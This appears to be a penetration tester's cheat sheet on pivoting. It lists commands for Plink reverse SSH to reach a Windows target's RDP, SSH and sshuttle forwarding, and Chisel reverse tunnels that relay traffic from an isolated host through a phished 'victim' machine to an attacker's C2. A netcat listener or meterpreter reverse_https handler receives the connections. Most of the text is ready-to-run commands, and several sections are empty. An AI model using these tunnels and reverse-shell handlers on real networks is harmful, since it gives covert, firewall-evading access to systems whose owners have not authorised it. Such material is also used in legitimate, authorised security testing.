Plink for Remote Desktop Connections

Used in case RDP service (usually 3389/tcp) is not accessible directly (i.e. not allowed through the external firewall)

  1. On local machine (~Kali)

    1. Create a limited user[^1]
  2. On target machine (Windows)

    1. Check first if somebody has currently connected to the host's RDP service
      • qwinsta /server:<server_name>
    2. Download plink.exe on the target machine
    3. Execute a reverse SSH connection using Plink.exe
      • echo y | plink.exe <YOUR_IP> -P 22 -R 3389:127.0.0.1:3389 -l <created_limited_username> -pw <password>
  3. On the local machine (~Kali)
    1. Connect to the RDP service using an RDP Client
      • rdesktop -g90x90 localhost (Usually fails)
      • xfreerdp /u:"<victim_machine_username>" /v:localhost:3389

[^1]: Instructions on creating a limited user

SSH Tunneling + SSHuttle and Chisel

Used for pivoting

Local port forwarding

ssh -v -N -L localPort:targetIp:targetPort user@sshGateway <-i private_key>

Remote port forwarding

Dynamic port forwarding with proxychains

Dynamic port forwarding with SSHuttle

sshuttle -v -r user@sshGateway network/netmask

# Using public key authentication:
sshuttle -v -r user@sshGateway network/netmask -e 'ssh -i /path/to/private_key'

Chisel

# Server (On your attacking machine[Kali])
./chisel server -v -p 8000 --reverse

# Port Forwarding (Commonly on the 1st compromised machine [Pivot Machine])
## Listen on Kali 4444/tcp, forward to 10.10.10.240 port 80
./chisel client -v <YOUR_KALI_IP>:8000 R:4444:10.10.10.240:80

[INTERNET_ISOLATED_MACHINE] --> [Pivot_Machine] --(FIREWALL)--(INTERNET)-- [C2/Kali] ---making it seamless as if:--- [INTERNET_ISOLATED_MACHINE] =============================================> [C2/Kali]

* From Kali: `./chisel server -v -p 8000 --reverse` From C2: `./chisel server -v -p 443 --reverse` 
* Commonly on the 1st compromised machine [Pivot Machine]
    * Let us call this [Pivot Machine]: *PHISHEDVICTIM01.acme.local*
    * *BEWARE*: May trigger _Windows Firewall Allow/Deny_ pop-up window on this host upon running. May need to allow first or create a manual firewall entry via cli or choose a firewall port already allowed but unused by a service.
    * The command below will direct any traffic it receives on 3333/tcp to your Kali 3333/tcp

        ```batch
        chisel.exe client -v <YOUR_KALI_IP>:8000  3333:127.0.0.1:3333
        #OR
        chisel.exe client -v <YOUR_C2_domain>:443 3333:127.0.0.1:3333
        ```

* After the command above, execute the command below on your Kali/c2 machine or something similar (i.e. `exploit/multi/handler`)
    ```
    nc -lnvp 3333
    #OR
    msfconsole -q -x "use exploit/multi/handler;set LPORT 3333; set LHOST eth0; set payload windows/x64/meterpreter/reverse_https;run -jz"
    ```
* Now on the [INTERNET_ISOLATED_MACHINE]/target/victim (without direct connection to your C2/Kali) like the DC or ICS.
    * Test
        ```batch
        curl.exe PHISHEDVICTIM01.acme.local:3333
        ```
    * Use a one-liner powershell
    * C2 payload to point to `PHISHEDVICTIM01.acme.local:3333`

[^1]: not so pro

[^3]: CodeProject - Grant Curell

[^5]: Download from Github